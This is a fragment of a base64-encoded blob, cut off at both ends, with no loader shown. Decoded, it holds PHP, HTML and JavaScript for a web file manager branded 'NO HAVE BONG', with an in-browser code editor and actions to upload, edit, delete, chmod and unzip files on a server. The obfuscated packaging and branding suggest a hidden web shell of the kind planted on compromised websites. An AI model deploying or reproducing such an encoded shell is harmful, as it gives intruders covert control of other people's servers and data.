mVudFNlbGVjdG9yLGZ1bmN0aW9uKGUpe3MoIiMiK2Eub3ZlcmxheUlkKS5jc3MoInRvcCIsZS5wYWdlWSthLnlPZmZzZXQrInB4IikuY3NzKCJsZWZ0IixlLnBhZ2VYK2EueE9mZnNldCsicHgiKX0pLHRoaXN9LHMucHJldmlld0ltYWdlKCl9KGpRdWVyeSk7DQoNCiAgICAvLyBEb20gUmVhZHkgRXZlbnRzDQogICAgJChkb2N1bWVudCkucmVhZHkoIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgLy8gZGF0YVRhYmxlIGluaXQNCiAgICAgICAgdmFyICR0YWJsZSA9ICQoJyNtYWluLXRhYmxlJyksDQogICAgICAgICAgICB0YWJsZUxuZyA9ICR0YWJsZS5maW5kKCd0aCcpLmxlbmd0aCwNCiAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcgKSA/IFswLCA0LDUsNl0gOiB0YWJsZUxuZyA9PSA1ID8gWzAsNF0gOiBbM107DQogICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7cGFnaW5nOiBmYWxzZSwgaW5mbzogZmFsc2UsIG9yZGVyOiBbXSwgY29sdW1uRGVmczogW3t0YXJnZXRzOiBfdGFyZ2V0cywgb3JkZXJhYmxlOiBmYWxzZX1dDQogICAgICAgIH0pOw0KICAgICAgICAvLyBmaWx0ZXIgdGFibGUNCiAgICAgICAgJCgnI3NlYXJjaC1hZGRvbicpLm9uKCAna2V5dXAnLCBmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICBtYWluVGFibGUuc2VhcmNoKCB0aGlzLnZhbHVlICkuZHJhdygpOw0KICAgICAgICB9KTsNCiAgICAgICAgJCgiaW5wdXQjYWR2YW5jZWQtc2VhcmNoIikub24oJ2tleXVwJywgZnVuY3Rpb24gKGUpIHsNCiAgICAgICAgICAgIGlmIChlLmtleUNvZGUgPT09IDEzKSB7IGZtX3NlYXJjaCgpOyB9DQogICAgICAgIH0pOw0KICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCAnY2xpY2snLCBmdW5jdGlvbiAoKSB7IGZtX3NlYXJjaCgpOyB9KTsNCiAgICAgICAgLy91cGxvYWQgbmF2IHRhYnMNCiAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLWhlYWRlci10YWJzIikub24oImNsaWNrIiwgJ2EnLCBmdW5jdGlvbihlKXsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTtsZXQgdGFyZ2V0PSQodGhpcykuZGF0YSgndGFyZ2V0Jyk7DQogICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMgYSIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTskKHRoaXMpLmFkZENsYXNzKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC10YWJzLWNvbnRhaW5lciIpLmFkZENsYXNzKCdoaWRkZW4nKTskKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpOw0KICAgICAgICB9KTsNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPD9waHAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmIGlzc2V0KCRfR0VUWydlbnYnXSkgJiYgRk1fRURJVF9GSUxFICYmICFGTV9SRUFET05MWSk6DQogICAgICAgIA0KICAgICAgICAkZXh0ID0gcGF0aGluZm8oJF9HRVRbImVkaXQiXSwgUEFUSElORk9fRVhURU5TSU9OKTsNCiAgICAgICAgJGV4dCA9ICAkZXh0ID09ICJqcyIgPyAiamF2YXNjcmlwdCIgOiAgJGV4dDsNCiAgICAgICAgPz4NCiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtYWNlJyk7ID8+DQogICAgPHNjcmlwdD4NCiAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KCJlZGl0b3IiKTsNCiAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRNb2RlKCB7cGF0aDoiYWNlL21vZGUvPD9waHAgZWNobyAkZXh0OyA/PiIsIGlubGluZTp0cnVlfSApOw0KICAgICAgICAvL2VkaXRvci5zZXRUaGVtZSgiYWNlL3RoZW1lL3R3aWxpZ2h0Iik7IC8vRGFyayBUaGVtZQ0KICAgICAgICBlZGl0b3Iuc2V0U2hvd1ByaW50TWFyZ2luKGZhbHNlKTsgLy8gSGlkZSB0aGUgdmVydGljYWwgcnVsZXINCiAgICAgICAgZnVuY3Rpb24gYWNlX2NvbW1lbmQgKGNtZCkgeyBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7IH0NCiAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmFkZENvbW1hbmRzKFt7DQogICAgICAgICAgICBuYW1lOiAnc2F2ZScsIGJpbmRLZXk6IHt3aW46ICdDdHJsLVMnLCAgbWFjOiAnQ29tbWFuZC1TJ30sDQogICAgICAgICAgICBleGVjOiBmdW5jdGlvbihlZGl0b3IpIHsgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTsgfQ0KICAgICAgICB9XSk7DQogICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsNCiAgICAgICAgICAgIHZhciAkbW9kZUVsID0gJCgic2VsZWN0I2pzLWFjZS1tb2RlIiksICR0aGVtZUVsID0gJCgic2VsZWN0I2pzLWFjZS10aGVtZSIpLCAkZm9udFNpemVFbCA9ICQoInNlbGVjdCNqcy1hY2UtZm9udFNpemUiKSwgb3B0aW9uTm9kZSA9IGZ1bmN0aW9uKHR5cGUsIGFycil7IHZhciAkT3B0aW9uID0gIiI7ICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkgeyAkT3B0aW9uICs9ICI8b3B0aW9uIHZhbHVlPSciK3R5cGUraSsiJz4iICsgdmFsICsgIjwvb3B0aW9uPiI7IH0pOyByZXR1cm4gJE9wdGlvbjsgfSwNCiAgICAgICAgICAgICAgICBfZGF0YSA9IHsiYWNlVGhlbWUiOnsiYnJpZ2h0Ijp7ImNocm9tZSI6IkNocm9tZSIsImNsb3VkcyI6IkNsb3VkcyIsImNyaW1zb25fZWRpdG9yIjoiQ3JpbXNvbiBFZGl0b3IiLCJkYXduIjoiRGF3biIsImRyZWFtd2VhdmVyIjoiRHJlYW13ZWF2ZXIiLCJlY2xpcHNlIjoiRWNsaXBzZSIsImdpdGh1YiI6IkdpdEh1YiIsImlwbGFzdGljIjoiSVBsYXN0aWMiLCJzb2xhcml6ZWRfbGlnaHQiOiJTb2xhcml6ZWQgTGlnaHQiLCJ0ZXh0bWF0ZSI6IlRleHRNYXRlIiwidG9tb3Jyb3ciOiJUb21vcnJvdyIsInhjb2RlIjoiWENvZGUiLCJrdXJvaXIiOiJLdXJvaXIiLCJrYXR6ZW5taWxjaCI6IkthdHplbk1pbGNoIiwic3Fsc2VydmVyIjoiU1FMIFNlcnZlciJ9LCJkYXJrIjp7ImFtYmlhbmNlIjoiQW1iaWFuY2UiLCJjaGFvcyI6IkNoYW9zIiwiY2xvdWRzX21pZG5pZ2h0IjoiQ2xvdWRzIE1pZG5pZ2h0IiwiZHJhY3VsYSI6IkRyYWN1bGEiLCJjb2JhbHQiOiJDb2JhbHQiLCJncnV2Ym94IjoiR3J1dmJveCIsImdvYiI6IkdyZWVuIG9uIEJsYWNrIiwiaWRsZV9maW5nZXJzIjoiaWRsZSBGaW5nZXJzIiwia3JfdGhlbWUiOiJrclRoZW1lIiwibWVyYml2b3JlIjoiTWVyYml2b3JlIiwibWVyYml2b3JlX3NvZnQiOiJNZXJiaXZvcmUgU29mdCIsIm1vbm9faW5kdXN0cmlhbCI6Ik1vbm8gSW5kdXN0cmlhbCIsIm1vbm9rYWkiOiJNb25va2FpIiwicGFzdGVsX29uX2RhcmsiOiJQYXN0ZWwgb24gZGFyayIsInNvbGFyaXplZF9kYXJrIjoiU29sYXJpemVkIERhcmsiLCJ0ZXJtaW5hbCI6IlRlcm1pbmFsIiwidG9tb3Jyb3dfbmlnaHQiOiJUb21vcnJvdyBOaWdodCIsInRvbW9ycm93X25pZ2h0X2JsdWUiOiJUb21vcnJvdyBOaWdodCBCbHVlIiwidG9tb3Jyb3dfbmlnaHRfYnJpZ2h0IjoiVG9tb3Jyb3cgTmlnaHQgQnJpZ2h0IiwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiOiJUb21vcnJvdyBOaWdodCA4MHMiLCJ0d2lsaWdodCI6IlR3aWxpZ2h0IiwidmlicmFudF9pbmsiOiJWaWJyYW50IEluayJ9fSwiYWNlTW9kZSI6eyJqYXZhc2NyaXB0IjoiSmF2YVNjcmlwdCIsImFiYXAiOiJBQkFQIiwiYWJjIjoiQUJDIiwiYWN0aW9uc2NyaXB0IjoiQWN0aW9uU2NyaXB0IiwiYWRhIjoiQURBIiwiYXBhY2hlX2NvbmYiOiJBcGFjaGUgQ29uZiIsImFzY2lpZG9jIjoiQXNjaWlEb2MiLCJhc2wiOiJBU0wiLCJhc3NlbWJseV94ODYiOiJBc3NlbWJseSB4ODYiLCJhdXRvaG90a2V5IjoiQXV0b0hvdEtleSIsImFwZXgiOiJBcGV4IiwiYmF0Y2hmaWxlIjoiQmF0Y2hGaWxlIiwiYnJvIjoiQnJvIiwiY19jcHAiOiJDIGFuZCBDKysiLCJjOXNlYXJjaCI6IkM5U2VhcmNoIiwiY2lycnUiOiJDaXJydSIsImNsb2p1cmUiOiJDbG9qdXJlIiwiY29ib2wiOiJDb2JvbCIsImNvZmZlZSI6IkNvZmZlZVNjcmlwdCIsImNvbGRmdXNpb24iOiJDb2xkRnVzaW9uIiwiY3NoYXJwIjoiQyMiLCJjc291bmRfZG9jdW1lbnQiOiJDc291bmQgRG9jdW1lbnQiLCJjc291bmRfb3JjaGVzdHJhIjoiQ3NvdW5kIiwiY3NvdW5kX3Njb3JlIjoiQ3NvdW5kIFNjb3JlIiwiY3NzIjoiQ1NTIiwiY3VybHkiOiJDdXJseSIsImQiOiJEIiwiZGFydCI6IkRhcnQiLCJkaWZmIjoiRGlmZiIsImRvY2tlcmZpbGUiOiJEb2NrZXJmaWxlIiwiZG90IjoiRG90IiwiZHJvb2xzIjoiRHJvb2xzIiwiZWRpZmFjdCI6IkVkaWZhY3QiLCJlaWZmZWwiOiJFaWZmZWwiLCJlanMiOiJFSlMiLCJlbGl4aXIiOiJFbGl4aXIiLCJlbG0iOiJFbG0iLCJlcmxhbmciOiJFcmxhbmciLCJmb3J0aCI6IkZvcnRoIiwiZm9ydHJhbiI6IkZvcnRyYW4iLCJmc2hhcnAiOiJGU2hhcnAiLCJmc2wiOiJGU0wiLCJmdGwiOiJGcmVlTWFya2VyIiwiZ2NvZGUiOiJHY29kZSIsImdoZXJraW4iOiJHaGVya2luIiwiZ2l0aWdub3JlIjoiR2l0aWdub3JlIiwiZ2xzbCI6Ikdsc2wiLCJnb2JzdG9uZXMiOiJHb2JzdG9uZXMiLCJnb2xhbmciOiJHbyIsImdyYXBocWxzY2hlbWEiOiJHcmFwaFFMU2NoZW1hIiwiZ3Jvb3Z5IjoiR3Jvb3Z5IiwiaGFtbCI6IkhBTUwiLCJoYW5kbGViYXJzIjoiSGFuZGxlYmFycyIsImhhc2tlbGwiOiJIYXNrZWxsIiwiaGFza2VsbF9jYWJhbCI6Ikhhc2tlbGwgQ2FiYWwiLCJoYXhlIjoiaGFYZSIsImhqc29uIjoiSGpzb24iLCJodG1sIjoiSFRNTCIsImh0bWxfZWxpeGlyIjoiSFRNTCAoRWxpeGlyKSIsImh0bWxfcnVieSI6IkhUTUwgKFJ1YnkpIiwiaW5pIjoiSU5JIiwiaW8iOiJJbyIsImphY2siOiJKYWNrIiwiamFkZSI6IkphZGUiLCJqYXZhIjoiSmF2YSIsImpzb24iOiJKU09OIiwianNvbmlxIjoiSlNPTmlxIiwianNwIjoiSlNQIiwianNzbSI6IkpTU00iLCJqc3giOiJKU1giLCJqdWxpYSI6Ikp1bGlhIiwia290bGluIjoiS290bGluIiwibGF0ZXgiOiJMYVRlWCIsImxlc3MiOiJMRVNTIiwibGlxdWlkIjoiTGlxdWlkIiwibGlzcCI6Ikxpc3AiLCJsaXZlc2NyaXB0IjoiTGl2ZVNjcmlwdCIsImxvZ2lxbCI6IkxvZ2lRTCIsImxzbCI6IkxTTCIsImx1YSI6Ikx1YSIsImx1YXBhZ2UiOiJMdWFQYWdlIiwibHVjZW5lIjoiTHVjZW5lIiwibWFrZWZpbGUiOiJNYWtlZmlsZSIsIm1hcmtkb3duIjoiTWFya2Rvd24iLCJtYXNrIjoiTWFzayIsIm1hdGxhYiI6Ik1BVExBQiIsIm1hemUiOiJNYXplIiwibWVsIjoiTUVMIiwibWl4YWwiOiJNSVhBTCIsIm11c2hjb2RlIjoiTVVTSENvZGUiLCJteXNxbCI6Ik15U1FMIiwibml4IjoiTml4IiwibnNpcyI6Ik5TSVMiLCJvYmplY3RpdmVjIjoiT2JqZWN0aXZlLUMiLCJvY2FtbCI6Ik9DYW1sIiwicGFzY2FsIjoiUGFzY2FsIiwicGVybCI6IlBlcmwiLCJwZXJsNiI6IlBlcmwgNiIsInBnc3FsIjoicGdTUUwiLCJwaHBfbGFyYXZlbF9ibGFkZSI6IlBIUCAoQmxhZGUgVGVtcGxhdGUpIiwicGhwIjoiUEhQIiwicHVwcGV0IjoiUHVwcGV0IiwicGlnIjoiUGlnIiwicG93ZXJzaGVsbCI6IlBvd2Vyc2hlbGwiLCJwcmFhdCI6IlByYWF0IiwicHJvbG9nIjoiUHJvbG9nIiwicHJvcGVydGllcyI6IlByb3BlcnRpZXMiLCJwcm90b2J1ZiI6IlByb3RvYnVmIiwicHl0aG9uIjoiUHl0aG9uIiwiciI6IlIiLCJyYXpvciI6IlJhem9yIiwicmRvYyI6IlJEb2MiLCJyZWQiOiJSZWQiLCJyaHRtbCI6IlJIVE1MIiwicnN0IjoiUlNUIiwicnVieSI6IlJ1YnkiLCJydXN0IjoiUnVzdCIsInNhc3MiOiJTQVNTIiwic2NhZCI6IlNDQUQiLCJzY2FsYSI6IlNjYWxhIiwic2NoZW1lIjoiU2NoZW1lIiwic2NzcyI6IlNDU1MiLCJzaCI6IlNIIiwic2pzIjoiU0pTIiwic2xpbSI6IlNsaW0iLCJzbWFydHkiOiJTbWFydHkiLCJzbmlwcGV0cyI6InNuaXBwZXRzIiwic295X3RlbXBsYXRlIjoiU295IFRlbXBsYXRlIiwic3BhY2UiOiJTcGFjZSIsInNxbCI6IlNRTCIsInNxbHNlcnZlciI6IlNRTFNlcnZlciIsInN0eWx1cyI6IlN0eWx1cyIsInN2ZyI6IlNWRyIsInN3aWZ0IjoiU3dpZnQiLCJ0Y2wiOiJUY2wiLCJ0ZXJyYWZvcm0iOiJUZXJyYWZvcm0iLCJ0ZXgiOiJUZXgiLCJ0ZXh0IjoiVGV4dCIsInRleHRpbGUiOiJUZXh0aWxlIiwidG9tbCI6IlRvbWwiLCJ0c3giOiJUU1giLCJ0d2lnIjoiVHdpZyIsInR5cGVzY3JpcHQiOiJUeXBlc2NyaXB0IiwidmFsYSI6IlZhbGEiLCJ2YnNjcmlwdCI6IlZCU2NyaXB0IiwidmVsb2NpdHkiOiJWZWxvY2l0eSIsInZlcmlsb2ciOiJWZXJpbG9nIiwidmhkbCI6IlZIREwiLCJ2aXN1YWxmb3JjZSI6IlZpc3VhbGZvcmNlIiwid29sbG9rIjoiV29sbG9rIiwieG1sIjoiWE1MIiwieHF1ZXJ5IjoiWFF1ZXJ5IiwieWFtbCI6IllBTUwiLCJkamFuZ28iOiJEamFuZ28ifSwiZm9udFNpemUiOns4OjgsMTA6MTAsMTE6MTEsMTI6MTIsMTM6MTMsMTQ6MTQsMTU6MTUsMTY6MTYsMTc6MTcsMTg6MTgsMjA6MjAsMjI6MjIsMjQ6MjQsMjY6MjYsMzA6MzB9fTsNCiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHsgJG1vZGVFbC5odG1sKG9wdGlvbk5vZGUoImFjZS9tb2RlLyIsIF9kYXRhLmFjZU1vZGUpKTsgfQ0KICAgICAgICAgICAgaWYoX2RhdGEgJiYgX2RhdGEuYWNlVGhlbWUpIHsgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuYnJpZ2h0KSwgZGFya1RoZW1lID0gb3B0aW9uTm9kZSgiYWNlL3RoZW1lLyIsIF9kYXRhLmFjZVRoZW1lLmRhcmspOyAkdGhlbWVFbC5odG1sKCI8b3B0Z3JvdXAgbGFiZWw9XCJCcmlnaHRcIj4iK2xpZ2h0VGhlbWUrIjwvb3B0Z3JvdXA+PG9wdGdyb3VwIGxhYmVsPVwiRGFya1wiPiIrZGFya1RoZW1lKyI8L29wdGdyb3VwPiIpO30NCiAgICAgICAgICAgIGlmKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7ICRmb250U2l6ZUVsLmh0bWwob3B0aW9uTm9kZSgiIiwgX2RhdGEuZm9udFNpemUpKTsgfQ0KICAgICAgICAgICAgJG1vZGVFbC52YWwoIGVkaXRvci5nZXRTZXNzaW9uKCkuJG1vZGVJZCApOw0KICAgICAgICAgICAgJHRoZW1lRWwudmFsKCBlZGl0b3IuZ2V0VGhlbWUoKSApOw0KICAgICAgICAgICAgJChmdW5jdGlvbigpIHsgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTsgfSk7IC8vc2V0IGRlZmF1bHQgZm9udCBzaXplIGluIGRyb3AgZG93bg0KICAgICAgICB9DQoNCiAgICAgICAgJChmdW5jdGlvbigpew0KICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7DQogICAgICAgICAgICAkKCIuanMtYWNlLXRvb2xiYXIiKS5vbigiY2xpY2siLCAnYnV0dG9uJywgZnVuY3Rpb24oZSl7DQogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgICAgIGxldCBjbWRWYWx1ZSA9ICQodGhpcykuYXR0cigiZGF0YS1jbWQiKSwgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKCJkYXRhLW9wdGlvbiIpOw0KICAgICAgICAgICAgICAgIGlmKGNtZFZhbHVlICYmIGNtZFZhbHVlICE9ICJub25lIikgew0KICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmKGVkaXRvck9wdGlvbikgew0KICAgICAgICAgICAgICAgICAgICBpZihlZGl0b3JPcHRpb24gPT0gImZ1bGxzY3JlZW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAodm9pZCAwIT09ZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQmJm51bGw9PT1kb2N1bWVudC5mdWxsU2NyZWVuRWxlbWVudHx8dm9pZCAwIT09ZG9jdW1lbnQubXNGdWxsc2NyZWVuRWxlbWVudCYmbnVsbD09PWRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnR8fHZvaWQgMCE9PWRvY3VtZW50Lm1vekZ1bGxTY3JlZW4mJiFkb2N1bWVudC5tb3pGdWxsU2NyZWVufHx2b2lkIDAhPT1kb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4mJiFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pDQogICAgICAgICAgICAgICAgICAgICAgICAmJihlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4oKTplZGl0b3IuY29udGFpbmVyLm1velJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKTplZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4oRWxlbWVudC5BTExPV19LRVlCT0FSRF9JTlBVVCk6ZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuJiZlZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4oKSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZihlZGl0b3JPcHRpb24gPT0gIndyYXAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRVc2VXcmFwTW9kZSh3cmFwU3RhdHVzKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgJCgic2VsZWN0I2pzLWFjZS1tb2RlLCBzZWxlY3QjanMtYWNlLXRoZW1lLCBzZWxlY3QjanMtYWNlLWZvbnRTaXplIikub24oImNoYW5nZSIsIGZ1bmN0aW9uKGUpew0KICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksIHNlbGVjdGlvblR5cGUgPSAkKHRoaXMpLmF0dHIoImRhdGEtdHlwZSIpOw0KICAgICAgICAgICAgICAgIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAibW9kZSIpIHsNCiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRNb2RlKHNlbGVjdGVkVmFsdWUpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gInRoZW1lIikgew0KICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7DQogICAgICAgICAgICAgICAgfWVsc2UgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJmb250U2l6ZSIpIHsNCiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldEZvbnRTaXplKHBhcnNlSW50KHNlbGVjdGVkVmFsdWUpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgPC9zY3JpcHQ+DQo8P3BocCBlbmRpZjsgPz4NCjxkaXYgaWQ9InNuYWNrYmFyIj48L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwDQp9DQoNCi8qKg0KICogTGFuZ3VhZ2UgVHJhbnNsYXRpb24gU3lzdGVtDQogKiBAcGFyYW0gc3RyaW5nICR0eHQNCiAqIEByZXR1cm4gc3RyaW5nDQogKi8NCmZ1bmN0aW9uIGxuZygkdHh0KSB7DQogICAgZ2xvYmFsICRsYW5nOw0KDQogICAgLy8gRW5nbGlzaCBMYW5ndWFnZQ0KICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdOTyBIQVZFIEJPTkcnOyAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICAgICAgPSAnTk8gSEFWRSBCT05HJzsNCiAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICAgICAgPSAnVXNlcm5hbWUnOw0KICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydMb2dvdXQnXSAgICAgICAgICAgICA9ICdTaWduIE91dCc7DQogICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NvcHknXSAgICAgICAgICAgICAgID0gJ0NvcHknOw0KICAgICR0clsnZW4nXVsnU2F2ZSddICAgICAgICAgICA9ICdTYXZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWxlY3RBbGwnXSAgICAgICAgICA9ICdTZWxlY3QgYWxsJzsNCiAgICAkdHJbJ2VuJ11bJ1VuU2VsZWN0QWxsJ10gICAgPSAnVW5zZWxlY3QgYWxsJzsgICAgICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICAgICAgPSAnRmlsZSc7DQogICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgICAgID0gJ1NpemUnOw0KICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydNb2RpZmllZCddICAgICAgICAgICA9ICdNb2RpZmllZCc7DQogICAgJHRyWydlbiddWydPd25lciddICAgICAgICAgID0gJ093bmVyJzsgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1NlYXJjaCddICAgICAgICAgICAgID0gJ1NlYXJjaCc7DQogICAgJHRyWydlbiddWydOZXdJdGVtJ10gICAgICAgID0gJ05ldyBJdGVtJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgICAgID0gJ0ZvbGRlcic7DQogICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZSddICAgICAgICAgICAgID0gJ1JlbmFtZSc7DQogICAgJHRyWydlbiddWydDb3B5VG8nXSAgICAgICAgID0gJ0NvcHkgdG8nOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0RpcmVjdExpbmsnXSAgICAgICAgID0gJ0RpcmVjdCBsaW5rJzsNCiAgICAkdHJbJ2VuJ11bJ1VwbG9hZGluZ0ZpbGVzJ10gPSAnVXBsb2FkIEZpbGVzJzsgICAgICAgICAgICR0clsnZW4nXVsnQ2hhbmdlUGVybWlzc2lvbnMnXSAgPSAnQ2hhbmdlIFBlcm1pc3Npb25zJzsNCiAgICAkdHJbJ2VuJ11bJ0NvcHlpbmcnXSAgICAgICAgPSAnQ29weWluZyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTmV3SXRlbSddICAgICAgPSAnQ3JlYXRlIE5ldyBJdGVtJzsNCiAgICAkdHJbJ2VuJ11bJ05hbWUnXSAgICAgICAgICAgPSAnTmFtZSc7ICAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQWR2YW5jZWRFZGl0b3InXSAgICAgPSAnQWR2YW5jZWQgRWRpdG9yJzsNCiAgICAkdHJbJ2VuJ11bJ0FjdGlvbnMnXSAgICAgICAgPSAnQWN0aW9ucyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnRm9sZGVyIGlzIGVtcHR5J10gICAgPSAnRm9sZGVyIGlzIGVtcHR5JzsNCiAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJzsgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ2FuY2VsJ10gICAgICAgICAgICAgPSAnQ2FuY2VsJzsNCiAgICAkdHJbJ2VuJ11bJ0ludmVydFNlbGVjdGlvbiddPSAnSW52ZXJ0IFNlbGVjdGlvbic7ICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJzsNCiAgICAkdHJbJ2VuJ11bJ0l0ZW1UeXBlJ10gICAgICAgPSAnSXRlbSBUeXBlJzsgICAgICAgICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICAgICAgPSAnSXRlbSBOYW1lJzsNCiAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7ICAgICAgICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICAgICAgPSAnRG93bmxvYWQnOw0KICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgICAgICA9ICdVblppcCc7DQogICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7ICAgICAgICAkdHJbJ2VuJ11bJ0VkaXQnXSAgICAgICAgICAgICAgID0gJ0VkaXQnOw0KICAgICR0clsnZW4nXVsnTm9ybWFsRWRpdG9yJ10gICA9ICdOb3JtYWwgRWRpdG9yJzsgICAgICAgICAgJHRyWydlbiddWydCYWNrVXAnXSAgICAgICAgICAgICA9ICdCYWNrIFVwJzsNCiAgICAkdHJbJ2VuJ11bJ1NvdXJjZUZvbGRlciddICAgPSAnU291cmNlIEZvbGRlcic7ICAgICAgICAgICR0clsnZW4nXVsnRmlsZXMnXSAgICAgICAgICAgICAgPSAnRmlsZXMnOw0KICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgIC